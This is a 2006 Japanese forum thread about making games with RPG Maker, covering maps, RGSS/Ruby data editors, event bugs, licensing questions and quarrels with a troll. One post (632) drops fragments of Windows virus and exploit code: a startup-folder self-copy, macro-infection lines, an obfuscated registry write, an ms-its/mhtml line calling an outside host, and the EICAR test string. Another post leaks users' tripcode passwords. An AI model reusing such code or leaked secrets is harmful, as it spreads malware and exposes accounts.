06/11/17 16:46:28 OL5fHyZA
ふと思い出したがRPGツクールみたいにRPG作るゲームって他にあったな。
斜め視点から見るヤツだったような。ネット販売しかしてなかったっけな。
なんて言ったっけなぁあれ。
561:名前は開発中のものです。
06/11/17 19:10:44 JVA1N51H
TCGが作りたいんだが、、、、
562:名前は開発中のものです。
06/11/17 20:58:37 vIuvr7mJ
誰か歯車の城を愛用してるやついる?
563:名前は開発中のものです。
06/11/18 00:59:21 OxofPqnQ
>>560
それは忘れたがフリーのQueek IIもおススメ。
ツクールやり始めたに気づいたから、触り程度しか試してないが
564:名前は開発中のものです。
06/11/18 02:03:09 llFIGetl
XPで飛行船実用化マダー?
565:名前は開発中のものです。
06/11/18 06:35:49 lVNws9xg
>>560
3D RPGエディター Part2
スレリンク(gameama板)
566:名前は開発中のものです。
06/11/18 09:27:25 agAUAVLf
>>565
そうそれだ!
567:タナ栗粉
06/11/18 13:32:55 7lfufh7z
おい、XPでワールドマップ作ろうとしても端っこカクカクなワールドマップしかつくれないじゃん
ちゃんとワールドマップみたいにするにはどうすればいい?
568:名前は開発中のものです。
06/11/18 13:39:03 EVGHg8q4
カクカクでない、滑らかなフチのマップグラフィックを自分で描くしかないだろうな
569:タナ栗粉
06/11/18 14:03:32 7lfufh7z
なんかいい素材ない?
570:ダイア ◆Q.9/UGZBPY
06/11/18 14:08:44 on1GePSo
このへんがおすすめ^^
美茶乱会
水冠
なにもない空
571:名前は開発中のものです。
06/11/18 14:24:34 9p/dgTND
370 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:13:17 ID:???
シェイラルド#銀槍様
omoti#homoti
これで満足かね
378 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:17:47 ID:???
今まで散々荒らした捨てコテのトリを公開する瞬間ほど楽しいものもなかろうw
381 名前: ダイア ◆Q.9/UGZBPY [sage] 投稿日: 2006/11/18(土) 14:20:24 ID:???
最後にダイアのトリを晒して終わるでござる^^
ダイア#日記帳★
ツクスレを潰せて拙者の復讐も天地終焉剣でござるな^^w
572:名前は開発中のものです。
06/11/18 14:31:35 NU6f16bR
>>571
まんこ^^
573:526
06/11/18 15:28:32 bNGGOAs1
昨日XPが届いた。
朝からスクリプト貪って全体のスキームを図に起こしてみたが
すばらしい。
特に俺には十分なキーボードや画像の入出力機能と
イベントインタプリタが手に入ったのは嬉しい。
もうこれだけで買った甲斐があった。
ただ惜しくらむはオリジナルDBを設計して出力する
機能がないこと。
これをツクールのスクリプトでツクるのは大変だし、
無理やり拵えても、多分操作性が悪すぎる。
HEXマップは既にある自作エディタで、それ以外で必要な
DBエディタはExcelかAccessで作るしかないな。
ツクールのDBをSLGに流用するのは辛いからな。
574:名前は開発中のものです。
06/11/18 16:46:00 AU1GXAkj
SQLiteマンセー
575:名前は開発中のものです。
06/11/18 16:52:01 9+YY/qfD
>>573
イマイチ何がしたいかはっきりとわからないが、SQLite当たりの方がよくないか?
576:名前は開発中のものです。
06/11/18 18:10:36 3SP29q3J
あるイベントのグラフィックを下向きのrightと設定して
このイベントをキャラクターの動作指定をつかって
上向きの(どっち向きでもいい行けど)leftにするのは可能ですか?
上向きの真ん中しか無理?
577:名前は開発中のものです。
06/11/18 21:18:06 agAUAVLf
なんのこっちゃ
578:名前は開発中のものです。
06/11/18 21:51:59 juBodgz+
右側のコマとか左側のコマとかのことじゃね
579:名前は開発中のものです。
06/11/18 22:57:20 S4X8UvI6
>>573
ヘックスに拘ってるけど市街マップとかだとかえって不自然になるんだよね。
ルールがそれように四角マスでも十分出来ると思うしマウス操作でない場合
ヘックスは非常にストレスになるよ。
そのままデフォの素材とマップエディタが使えることも含めて四角マスの方が
メリットも大きいから何かヘックスを使う事に意図が無いならそちらも考えてみては?
何はともあれSLGって言うのは物凄く期待してるんで、頑張ってください。
580:名前は開発中のものです。
06/11/18 22:58:15 hRIR7PGq
>>573
どんなモノを求めているのか、いまいちわからん。
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを
直接生成するデータエディタが欲しいなら、Rubyで作ればいいんじゃね?
直接でなくてもいいなら、Excelから変換するスクリプト書けばいいんじゃね?
CSVを読み込んでパースするなんて簡単だし、RubyからExcelを操作もできるし。
その逆はどうだかしらんが。
テキストでデータ書くのでよければ、YAMLなんかも使えるし。
ツクールXPにその機能がついてる必要は、なさげ。
すでにあるものを利用した方が便利だと思われ。
まあ、デフォのデータの項目足りないけどな。
581:526
06/11/19 02:43:59 i4c0N3Gy
>>579
確かにマウスを使わない以上、操作性を考えるとそっちのほうが
圧倒的にやり易いよね。その辺まったく考えてなかったorz。
要するに、マップ作成自体は付属のエディタで見た目
半歩ずらしのマップを作ればいいだけの話で、
さっさと肝心なカーソルやユニットの移動処理に心血を注ぐ
方が建設的ではないかってことですよね?
アドバイスありがとうございます。HEXに拘っていたのは大戦略への
憧れというか、それだけですorz。拠点の防衛戦は是が非でも
盛り込みたいと思ってますので、やっぱ四角にします。
チップのサイズは32だと小さすぎるかな?
>>580
伝わりずらくてごめん。
えっとですね、要するに自前で設計したデータを生成する
GUI環境がほしいってことなんですよ。
机上のデータ設計どおりに、初期値データファイルを生成する
スクリプト書いて何回も流せばいいんですが、それだとテスト時
の効率が悪すぎますよね。ツクール組み込みのDB(アクター他)であれば、
データベースウィンドウを開いてちょちょいと値や画像を変えながら
ガンガン試験できますが、これを戦略データや兵器データに見立てて
流用するにはちょっと辛いんですよね。
582:名前は開発中のものです。
06/11/19 05:26:22 Ua8Nv42C
>>581
実際ヘックスを使ったゲームは十字キーで非常にカーソルが動かしにくかった記憶がある。
ヘックスは大変でも段違いの四角ならそんなに大変でも無かろうにそうしないで碁盤目が
多いのはそのあたりが原因だと思うんだよ。
個人的にネクタリスのような弱いユニットでも戦線の張り方で勝てる強力なZOCによる
包囲効果があるゲームが好きだな。
583:名前は開発中のものです。
06/11/19 09:28:49 97KpwG19
ところで何故526はXPを使えば自作DBの編集をGUIでできると思ったのだろうか
普通に考えてできるわけないと思うのだが
584:名前は開発中のものです。
06/11/19 09:37:52 PcdUc3kz
>>576
動作指定じゃ出来ないかもしれないけど、ページ分けて2ページ目のグラフィックをその上向きの左のにすればいいんでなかろうか。
スイッチで2ページ目に移行すればグラも変わる。アニメーションタイプは完全固定。
めんどくさいかもしれないけど。
585:名前は開発中のものです。
06/11/19 10:18:39 2cxGolRB
>>583
RGSS=Rubyってことだろ(と>>526が考えたってこと)。
RGSSでDBの使用を考えるくらいなら最初からRubyで作った方がよくないか、とは思う。
ゲームつくるのに積極的にRuby使う利点ってあるのかな?
586:名前は開発中のものです。
06/11/19 10:38:24 49PeT0Mb
無い。
ツクール信者が盲信しているだけ。
587:名前は開発中のものです。
06/11/19 10:39:13 S9/dw73o
Rubyの言語仕様はステキだとおもう
あとは公式リファレンスが日本語とか
動作速度が遅いのが今後の課題だとは思う
588:名前は開発中のものです。
06/11/19 12:08:35 Ua8Nv42C
別に盲信なんかしてる奴は居ないよな。遅い事は使ってる奴はわりと皆不満としてこぼすし。
rubyのメリットは薄くてもRGSSはツクールが込みという事を考えるとそれが物凄い利点だよ。
589:名前は開発中のものです。
06/11/19 12:44:04 O8/GxI1f
>>584
ありがとう
やっぱりそうだよね・・・・
590:名前は開発中のものです。
06/11/19 14:17:09 n/kdPA70
RPGツクール95のデーターってシューティングツクール95でいじれる?
591:580
06/11/19 17:39:25 4PGs0u+9
>>581
だから、Rubyで作ればいいんじゃね?
もしかして、テストプレイ中(ゲーム起動中)にアクターなどのデータを
エディタで変えて、それがすぐに反映されるとか思ってる? 反映されないよ。
エディタから出力されたファイルを、ゲームエンジン(Game.exe)が読んでるだけだよ。
あと、キミの言うDBをDBMSのことだと思ってる人がいる。
592:名前は開発中のものです。
06/11/19 17:44:54 cwIbgIIB
言語のデキと実行環境のデキを混同している方がいらっしゃるようだなw
ツクールVistaではC++かC#でも実装してもらうか?w
593:580
06/11/19 17:48:16 4PGs0u+9
>>585
まったくない。
オレはRuby厨なので、Rubyでゲームが作れるRGSSは素敵だが、それしかない。
Rubyの利点はオブジェクト指向でトライアンドエラーがしやすいことなので、
まあ、ゲームの高レベルな部分を作るのには向いてるかなと思わなくもない。
>>588
遅いって不満が、画像の描画以外であることはあんまりないかと。
594:名前は開発中のものです。
06/11/19 17:55:58 6nVAngE1
>>591
> >>581
> だから、Rubyで作ればいいんじゃね?
>>573
> ツクールのスクリプトでツクるのは大変
どうやら591は「ツクールのスクリプト」=Rubyを理解できていないようだ
595:580
06/11/19 18:04:41 4PGs0u+9
>>594
あー、そうか。
「RGSS=Ruby+ゲーム用ライブラリの実行環境」ってことを理解してないんだな。
RybyにはGUIライブラリもあるよー、581。
RGSSでは操作性最悪のしか作れないかもしれないが、
Rubyでなら作れるよー。結構簡単に。
596:名前は開発中のものです。
06/11/19 18:17:10 2cxGolRB
>>595
しかしな、Rubyしか使えないプログラマなんていないだろ。
RGSSはあんたの言うとおり「RGSS=Ruby+ゲーム用ライブラリの実行環境」だから
RGSS使わないなら他の言語使った方がよくないか?
>>592
>ツクールVistaではC++かC#でも実装してもらうか?w
あ、C#使えるC#GSS付きのRPGツクールVistaならまじで欲しいなw
C++はいらね。ツクールの部分が邪魔になりそう。
597:594
06/11/19 18:23:30 6nVAngE1
>>595
お前のことだよボケ
598:名前は開発中のものです。
06/11/19 18:26:35 2cxGolRB
>>597
餅つけ。
599:580
06/11/19 18:43:02 4PGs0u+9
>>596
Marshal.dumpしたファイル(RGSSのload_data関数で読めるもの)なんかを生成する、
データエディタが欲しいなら、この一点でのみRubyお勧め。
これがいらないなら、自分の知ってる言語でいいんじゃね?
600:580
06/11/19 18:44:38 4PGs0u+9
>>597
オレに言ってたのか。
>573>無理やり拵えても、多分操作性が悪すぎる。
RGSSのこと言ってるんだと思われ。
601:526
06/11/19 19:26:02 i4c0N3Gy
なんか俺のせいで妙な雰囲気になっちまってごめんなさい。
俺が言いたかったのは、ツクールにオリジナルDBを視覚的に
作成できる画面がないから別に作らないとなということです。
最初は専用のマップエディタや各種ステータス設定画面をRGSSで、
つまりツクールのゲーム実行中に埋め込んでしまおうかと
考えたんですが(大戦略の兵器図鑑やマップエディタみたいな感じで)、
素直に作ると物理的な操作系がツクールに縛られるので少なくとも
開発者(=俺)にとって「操作性が悪すぎる」ということです。
EXCELやACCESSでさっさと作れそうかなぁと思ってるんですが、
RubyでもGUIアプリを作成する環境(ここではライブラリのことではなく
フォームデザイナ等の開発ソフトのことです)があるようなので
>>599さんの仰るように、余計な処理をかませる必要のなさそうなことも
含めて検討しております。
色々な見解や情報をレスしてくれてありがとう。
もう大丈夫そうなので作業を進めます。
さあ、もとの雰囲気に戻ってくださいまし。
602:名前は開発中のものです。
06/11/19 19:45:23 2cxGolRB
殺伐としたのは>>594のせいだから>>594が消えればいいと思うよw
603:名前は開発中のものです。
06/11/19 20:41:31 4Jwfvkpq
べつに殺伐としても問題無いよ
意味の無いレスで埋まってるわけでもないし
604:名前は開発中のものです。
06/11/19 20:47:22 Ua8Nv42C
>>601
SLGは非常に興味深いし、プレーヤーとしては実はRPGより好きなんで
また何か進展があったら報告とかあると嬉しいな。
こういうことがあると議論がぶつかるのは良くあること
内容まで脱線したグダグダな口喧嘩になってるわけじゃないし
まぁこのくらいなら製作意図の違いによる熱い討論レベルだし気にすることは無いんじゃないと思う。
多少うが無に見えるものや、動く物が上がれば説得力が段違いだし、
意見の違っていた人も、それはそれで認めてくれるんじゃない?
楽しみにしてるんで頑張ってください。
605:580
06/11/19 22:49:34 4PGs0u+9
>>601
ゲーム中に動的に変更するなら、自分で書くしかないね、結局。
F9(デフォのデバッガ呼び出し)とかで外部データを読み込むものだけ作れば、
あとは好きにできるわけで、そっちの方がツクールに変な機能ついてるより楽だと思う。
あとRGSSにもWin32APIは入っているので、
がんばれば別ウインドウとかも出せるんじゃないかな。
606:名前は開発中のものです。
06/11/20 00:46:32 uA7uvNOH
>>605
別ウィンドウ出すのも別にそんな難しくも無いけど
わざわざツクールでやるメリットなんかないっしょ
サンプル全部捨てて1から作る位ならRuby+SDLで自分でラッパー書いたほうがマシだと思うが
まぁ世の中にはVBでAPI使いまくってゲーム作る奴もいる事だし余計なお世話かもしれんけど
607:580
06/11/20 01:09:09 neNT2vzW
>>606
デフォのスクリプト全部捨てるって話ではないので。
つか、別ウインドウ出す必要は、オレは感じてないよ。
あと、個人的にはRuby/SDLよりRGSSのライブラリの方が好き。
必要最低限にまとまってて。自分でラッパー書かなくていいや、ぐらいの話だが。
608:タナ栗粉 ◆8Tdr0tD9Mk
06/11/20 12:56:50 WC/RLNqE
スクリプトシェルフの管理人の桜なんたらって人が作った作品っておもしろいの?宝石と冒険者だかなんだか
609:名前は開発中のものです。
06/11/20 12:59:23 R4sOTX7V
プレイ時間1時間って書いてあるんだし自分でやれよ
610:タナ栗粉
06/11/20 14:34:04 WC/RLNqE
自分でやんのがめんどくせえから聞いてんだろがダボ
611:名前は開発中のものです。
06/11/20 17:23:38 OWvmZ6PL
やめてーわたしのために争わないでー
612:タナ栗粉
06/11/20 20:00:46 WC/RLNqE
なんちゃって嘘だよ
ごめん
ところでツクール作品でもっとも良作ってなに?
613:名前は開発中のものです。
06/11/20 21:05:00 fLe7tSRG
>>609
誰に向かっていってるんだ?誤爆は気をつけろよ。
614:名前は開発中のものです。
06/11/20 21:06:53 xBvzxuxP
>>612
飯野賢治の300万本売れるRPGじゃないの?
615:名前は開発中のものです。
06/11/20 21:45:01 aJxX5ev0
はいはい、空気に向かって話しかけてるのはみっともないぞ。
>>609,614
616:タナ栗粉
06/11/20 22:23:11 WC/RLNqE
>>615俺に嫉妬しすぎ
┓(´._ゝ`)┏
でもあやまっとくよ
いくらきみが望んでも生まれ持った才能は分けてあげられない 本当こればっかりは申し訳ない
617:名前は開発中のものです。
06/11/20 22:32:33 fLe7tSRG
そうかタナが来てるのか、気がつかなかった、
内容は良く判らんがあんまり相手にしなさんな。
618:名前は開発中のものです。
06/11/20 22:41:57 mLrzdNQ8
良作といっても人によって好みが違うから決められるものじゃないだろ
619:名前は開発中のものです。
06/11/20 22:44:44 yiXEiLNW
>>617
何だ?タナって?
620:名前は開発中のものです。
06/11/20 23:01:12 aJxX5ev0
>>617
わざわざ名前で呼んでる時点で馬鹿に餌やってることに気付け。
どうしても呼びたきゃ、テンプレ通りタナ厨とでも呼んでやれ。
621:名前は開発中のものです。
06/11/21 01:58:47 4VD5a3/r
>>619
なんていうか今時は子供も言わないような我儘な態度で質問の答えを強要して来る変なコテハンだよ。
相手にしてると切りが無くなる、しなくても来るけどw
622:名前は開発中のものです。
06/11/21 02:01:12 4VD5a3/r
おっとまたレス番飛んでるw
ようは600以降では608、610、612、616、620あたり。
623:名前は開発中のものです。
06/11/21 10:01:35 IQoAHzh2
つーか、もう他茄は来るな、氏ね!
コイツのせいでスルーされた質問数知れず、自分さえ良ければ他の奴が
どうなろうが知ったこっちゃないって典型的な糞野郎の分際で調子に乗るな!
俺も以前この蛆虫のせいでスルーされたからな、マジ存在自体がウザい!
エターナ○の分際で何が「俺の作品はすげーから協力しろ」だ?
ふざけんじゃねっての、フナムシ野郎!
でかい口叩きたけりゃ自慢の妄想うpってからにしやがれ!
624:名前は開発中のものです。
06/11/21 10:10:28 L2iUY0WG
それは別の理由があるんじゃねーのー?
625:名前は開発中のものです。
06/11/21 11:31:09 4VD5a3/r
エターナ○ってなんだ?なんとなく差別用語の匂い。
626:タナ栗粉 ◆8Tdr0tD9Mk
06/11/21 12:22:20 uXlcnbOO
>>623おまえかわいいな
チューするぞ
627:名前は開発中のものです。
06/11/21 13:18:59 NKAHTtRD
棚って山田って奴と一緒でしょ。家ゲRPGツクスレやゲ製ツクスレで繁殖していた奴とやり口が一緒ですもの。
エターナル→エターナルチャンピオンなどと称されるように
【永遠の~】という意味で、永遠に制作が終わらないツクーラーなどを
揶揄してエターナルと呼んだ。
628:名前は開発中のものです。
06/11/21 15:09:20 L2iUY0WG
語源はこれだな。
URLリンク(studiodias.port5.com)
629:名前は開発中のものです。
06/11/21 15:48:07 NKAHTtRD
>>628
語源1009
630:名前は開発中のものです。
06/11/21 15:53:34 Wu1+q31F
ちょっと質問させてくれ。
友人から要らなくなったと言って2000を譲ってもらったんだが、
これをインストールしたらやっぱ違法になるのかなぁ・・・・・
そこらへん詳しい人教えてください。
631:名前は開発中のものです。
06/11/21 15:58:58 NKAHTtRD
ライセンスも含めて譲渡して貰ってください。
632:名前は開発中のものです。
06/11/21 16:54:26 CMuuaM1v
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLリンク(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
633:名前は開発中のものです。
06/11/21 19:19:34 Wu1+q31F
>>631
バカな俺にもうちょっとkwsk教えてくれ。 頼む
634:名前は開発中のものです。
06/11/21 22:31:03 StR14aQj
>>631
ライセンスはソフトの所有者にあるからソフトを譲渡してもらった時点でライセンスはあなたにあるよ。
ただし、所有権を譲った以上、もとの所有者である君の友人が自分のPCにインストールしたままだと、
君の友人はライセンス違反になる。
もしも、そのソフトを友人から貸与されて使用した場合には所有権はその友人にあるので君がライセンス違反になる。
場合によっては(てか普通は)ソフトの貸与自体がライセンス違反になるから君も友人もライセンス違反になる可能性もある。
でも、バレなきゃいいのよwwwww
犯罪は発覚した時点で犯罪なのよ。
635:名前は開発中のものです。
06/11/21 22:31:42 StR14aQj
>>631じゃなくて>>633だった・・・
636:名前は開発中のものです。
06/11/21 22:48:22 klpEbWwk
RPGツクール2000の質問です。
主人公の名前の変更時に他の主人公と重複しないようにしたいのですが
条件で\v[x]を使用しても参照できていないようです。
他の主人公の名前と比較する方法があれば教えてください。
637:名前は開発中のものです。
06/11/21 23:23:03 JbtgywjM
条件ちゃんとみろ
638:名前は開発中のものです。
06/11/21 23:30:09 s6uV0oVs
作ったの配布するには、ユーザー登録ハガキを送る必要もあったよな?
639:636
06/11/21 23:36:28 klpEbWwk
間違えました、\n[0]で参照できません
640:名前は開発中のものです。
06/11/22 00:56:47 hi0t3O0H
もう2000の登録は送ってもただそれだけっぽい、問い合わせの時も番号を言っても向こうはわからなかったり
管理をちゃんとやっていない感じだし、そのデータ自体のデータベースが現在あるのかも怪しい状態。
641:名前は開発中のものです。
06/11/22 01:19:34 0iBiQGom
そんなんで、ユーザ登録ハガキ必須とか言ってんのか('A`)
642:名前は開発中のものです。
06/11/22 01:31:08 pY8WoX1x
>>639
名前変更可能なキャラが複数いて、それらが重複しないようにしたいんだよね?
\N[n]が有効なところは限られてるから、ムリな気がする。
デフォルトネームに重複してるかは判定できるけど。
同名キャラを普通作りはしないから、プレイヤーにお任せするしかないんじゃない?
名前入力を使ったイベントを組みたいなら、考え直すしかないかと。
643:名前は開発中のものです。
06/11/22 01:50:33 7azrMRpP
>>634
日本の法ってややこしいな・・・サンクス!!
644:名前は開発中のものです。
06/11/22 05:37:38 mVS2A34P
そんなのいちいち気にするなんて律儀ですね。
さすがゲ製作技術板だ。
645:名前は開発中のものです。
06/11/22 23:31:08 7azrMRpP
技術に関する質問じゃなくて悪いんだが、このスレの住人の人って
ツクールで何か作品完成させたことある? もしよければ教えて欲しい
646:名前は開発中のものです。
06/11/22 23:40:21 mysPVd5M
>>645
完成させた奴は自分のHPでも作ってそっちでやってるよ。
647:名前は開発中のものです。
06/11/23 00:18:17 7KmoeQ9B
>646
作品がみたいんじゃなくて、完成させた人がいるかどうかを聞きたかった
648:名前は開発中のものです。
06/11/23 00:38:08 +GxueJkn
質問をはぐらかされるということは、です
649:名前は開発中のものです。
06/11/23 04:02:07 TV1BVAmA
あるけれど最近不穏な空気が濃くなっていて安心して作ったものをUPできるのはVIPくらい。
650:名前は開発中のものです。
06/11/23 12:40:55 jIcHT9mO
>>645 と >>649 の間にもの凄く温度差を感じた。
>>645 の言う作品というのは、そんなサンプルに毛の生えた様な代物ではないだろうに。
651:名前は開発中のものです。
06/11/23 20:24:38 b+j04Nn6
はは、確かに
652:名前は開発中のものです。
06/11/23 21:03:20 /g98BoGv
2000バリューで制作してるのだが、まったく同じイベントをやっているのに
命令が効いたり効かなかったり…ということが起こってしまった。
自作メニューをマップで作っていて、
メニューマップに行く前に「主人公の向き固定」
元のマップに行く前に「向き固定解除」で
「指定動作の全実行」はどちらとも直後に入れてる。
なのに、「向き固定」と「向き固定解除」の命令がしばしば片方効かなくなる。
この部分に関してはむちゃくちゃ単純だから、
イベントの組み方が変というわけではないと思うんだけど…。
こういう命令が効く効かない「ゆらぎ」みたいなのは時々あるのだろうか?
653:名前は開発中のものです。
06/11/23 21:13:17 4xFaXXJ0
うp
654:名前は開発中のものです。
06/11/23 21:46:35 TV1BVAmA
>>650
別に作品規模はどちらも何も言ってないのに勝手に温度差を感じるとはいかに?
サンプルに毛が生えた程度のサンプルとはどんな物だろう?ツクールに同梱されたサンプル作品は
短い物もあるが十分な完成作品といえる出来だと思うが?
655:名前は開発中のものです。
06/11/23 22:08:09 rTH5Jy9h
>>652
つか、面倒ならメニューに入る時の向きを変数で管理して、
メニューから戻る時に代入された変数に応じて向きを変更すればおk。
656:名前は開発中のものです。
06/11/23 22:48:10 /g98BoGv
原因わかった。
決定キー押してるとダッシュできるようにしてたんだけど
たぶんそれのせいだ。
書いてなかったことが原因ですまん。
うpしようかとメニュー関連だけ取り出したら、
それまで5回に1回くらいは不具合起きてたのが
ピタッと止まったのでわかった。
ともかくここに相談したことで原因解明した。ありがと。
657:653
06/11/24 00:23:16 iqZ9NDRW
>>656
俺の的確なアドバイスのお陰だな。
もっと感謝しなさいよ。
658:名前は開発中のものです。
06/11/24 01:40:48 x5Afjfuy
てめえwww
659:名前は開発中のものです。
06/11/24 14:06:04 vHrxg56h
たった2文字で解決させちまうとはな
660:名前は開発中のものです。
06/11/24 14:44:50 /E6j1+Wk
コナンでもそうは行かんな
661:タナ栗粉
06/11/24 19:26:50 iYQRpe0E
いやあ、考えたシナリオって月日とともに大分かわるね
初期に考えてたのは今思うとひでえな、俺の小説のシナリオよりひどいレベルだったからな
今はかなりよくなった。俺のRPGのシナリオ知りたいひと
662:名前は開発中のものです。
06/11/24 21:11:43 7QD5YBkK
あらすじなんかどうでもいいからとっととうpしろよ?
一体いつになったら出来るんだよ?
663:タナ栗粉
06/11/24 21:30:02 iYQRpe0E
あと半年もしたら完全に完成する
664:名前は開発中のものです。
06/11/24 22:42:09 1hNXieKM
エターナる
665:名前は開発中のものです。
06/11/25 04:52:52 OSfej1q9
何が?
666:タナ栗粉
06/11/25 12:47:02 eRvJ5j5W
誰も聞いてくれないのか
あーもういいよ ばーかばーか
667:名前は開発中のものです。
06/11/25 14:48:46 ch6mcSIS
じゃあ聞いてやるから、とりあえずwordでシナリオ関連をまとめて、うpしてみろよ
脳内で作ったストーリーなんてまともなもんじゃねーし
ツクールの歴史変えるだのと散々言ってきたんだから、それ位当たり前だよな?
668:名前は開発中のものです。
06/11/25 16:19:52 jfDjeXNV
>>666
ああ、ワードでまとめてくれれば、
こっちも評価のしようがあるんだけどな。
669:タナ栗粉
06/11/25 17:06:03 eRvJ5j5W
そんな無理難題を俺に突き付けてさあ俺をつぶそうと・・・
あー なるほどお 強大な敵は若い芽のうちにってわけ?
670:名前は開発中のものです。
06/11/25 17:08:52 IMhFadJq
エターナッてはや3年。
システムツクって燃え尽きちまう。
671:名前は開発中のものです。
06/11/25 17:12:48 jfDjeXNV
>>669
いやいや、設定を箇条書きにしたものだけでいいからさ。
ワードでまとめて、ロダに上げてくれや。
ここで延々とレスするよりは、まとまった文章で発表するほうがいいだろ?
672:名前は開発中のものです。
06/11/25 17:15:06 rgV5wg96
そうだよね。どうせ途中で投げて日の目をみることはないんだろうし、設定だけでも発表してすっきりしちゃいなよ。
673:名前は開発中のものです。
06/11/25 17:37:23 ch6mcSIS
天才ツクーラーなんだからその程度のことわけないだろ?
自分の作ったストーリーの筋書きもまとめられない奴を
「強大な敵」とは呼べないな。少なくとも俺は。
674:タナ栗粉
06/11/25 18:47:02 eRvJ5j5W
別に普通に設定書けばいいんだろ?つか確か前ここに書いた気がするけどまあいいか
675:名前は開発中のものです。
06/11/25 18:57:13 jfDjeXNV
>>674
おう。
ワードでちゃんとまとめてな。
よろしく頼むぜ!
676:名前は開発中のものです。
06/11/25 19:50:05 zT/yEFpr
練習用にドラクエ1をツクール上で再現するのって違法?
677:名前は開発中のものです。
06/11/25 20:00:42 zT/yEFpr
あ・・・話の流れをぶった切ってしまったようだ^^; スマン
ところで、タナ厨のゲームって神獣がなんとかってやつだっけか? うp
678:名前は開発中のものです。
06/11/25 20:02:54 unIdZTV3
早く天才ツクーラータナの設定資料集見たいな~
679:名前は開発中のものです。
06/11/25 20:03:32 kRzKcBcu
グレーゾーンじゃね?
再現して個人で楽しむ分にはほとんど問題ないかと
それを公開するとかはアレだな クロゲパ行き
クロゲパに行ったところでどうなるって問題じゃないけどな
680:名前は開発中のものです。
06/11/25 20:04:47 kRzKcBcu
>>679は>>676に対してね
要は再現するだけならいいんじゃね?って話
681:名前は開発中のものです。
06/11/25 20:06:37 zT/yEFpr
>>679 >>680
レスサンクス♪
練習用だし、あくまで個人的なものだからよかったゎw
682:タナ栗粉
06/11/25 21:29:20 eRvJ5j5W
【作品名】
オヴェルスの翼
【あらすじ 設定】
「聖なる地オヴェルス それはすべての始まりの場所
悲しみも絶望も そして光さえも」
レーヴェンドと呼ばれる世界 そこは「ヨミ」という名の魔物が存在していた。
ヨミは幼生から成体へと進化し、新たな幼生を産み次々と増えていった。
ヨミの前では新兵器の「銃」ですら玩具同然だった。
家族を切り裂かれ友をほふられ 人々は滅びを決意する。
しかしある日 オヴェルスから翼を持った古代生物が四体発見された。
聖地から発見されたというその生物は神獣と名付けられた。
そしてヨミに対抗するために、一人の男が己の体に神獣の細胞を埋め込み 人知を越えた力を手にすることに成功した。・・・・ある代償と引き替えに。
そしてその後 ヨミを恨む者 何かを守ろうとする者 名誉を得ようとする者 数々の人間がその力を手にする。
時は50年後 神獣の細胞を埋め込み、力を得た人間による組織が結成されていた。
そしてその組織は聖地オヴェルスをはばたかせる者という意味を込め
「オヴェルスの翼」と呼ばれるようになった。
オヴェルスの翼は新兵器である「銃」の登場により衰退していった「剣」や「槍」と呼ばれる「古代神器(こだいしんき)」を駆使する。
そしてオヴェルスの翼は村や町 ある時は国から依頼を受けヨミを討伐する 無くてはならない存在となっていた。
オヴェルスの翼は実力や戦績に応じて大きく三つに分けられ
小隊の隊長や各隊の伝令、監視を行う「黒羽」
隊長の補佐などを行う「赤羽」
そして通常の戦闘員である最下層「白羽」からなる。
主人公ツウァイスはある目的のためにオヴェルスの翼となる。
683:タナ栗粉
06/11/25 21:30:24 eRvJ5j5W
主人公ツウァイスはある目的のためにオヴェルスの翼となる。
白羽であるツウァイスだが腕に刻まれた白い翼の紋章は何故か片翼だった。
そして白羽でありながら黒羽以上の力を発揮するツウァイス
物語が進むにつれ自分が所属することになる小隊の隊長レインや、離反者で元小隊の隊長であるベルガー、新しく小隊に所属してきたアルゼなど仲間が増えていく
しかしツウァイスは自分の感情を決して表に出そうとはしない
そんなツウァイスだったがやがて自分の故郷がある人間により壊滅されたことを語る
そしてそれはかつてのツウァイスの恩人だった。
オヴェルスの翼となるための代償
それは神獣の細胞の拒絶反応により定期的にくる激痛
そして記憶を少しずつ無くしていくことだった
更に時が経つにつれその症状は悪化し全ての「オヴェルスの翼」はやがては廃人となる。
しかしまれにその症状が急激に進行し神獣の細胞に支配され、廃人とはならず 強い怨念だけを糧に破壊を繰り返し、さ迷う「咎羽」となる。
あるヨミに導かれ「咎羽」となったツウァイスの恩人は故郷を壊滅させ そのヨミと共に姿を消したのだった。
いつも憎しみに塗れた剣を振るうツウァイス。
その話を聞いただれもがツウァイスは復讐を果たすために戦っているのだと思った。
恩人を咎羽へと陥れたヨミへの復讐 確かにそれがないわけではなかった。しかしツウァイスの本当の目的はその恩人を斬ることだった。
誰よりも優しく 誰よりもお人好しだった かつての恩人
そんな恩人がわけもわからず人を傷つけている
その苦しみから恩人を解放することがツウァイスの本当の目的だったのだ。
復讐と解放 その狭間で揺れながら それでも全てを捨て 解放を選んだツウァイス。
そして再び剣を取る
684:名前は開発中のものです。
06/11/25 21:48:27 t8pTfz4l
>>682
wordで上げろ、読む気がしない。
685:名前は開発中のものです。
06/11/25 21:51:11 eRvJ5j5W
無理 俺基本携帯だから 苦労して書いたんだから読め
686:名前は開発中のものです。
06/11/25 22:02:44 t8pTfz4l
>>685
それはいいことを聞いた。
ほれ、
>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1
>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1>1
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687:名前は開発中のものです。
06/11/25 22:06:58 eRvJ5j5W
ん?
688:名前は開発中のものです。
06/11/25 22:09:09 2LGL7lkQ
>>686
最近の携帯は画面スクロールとかしやすいし
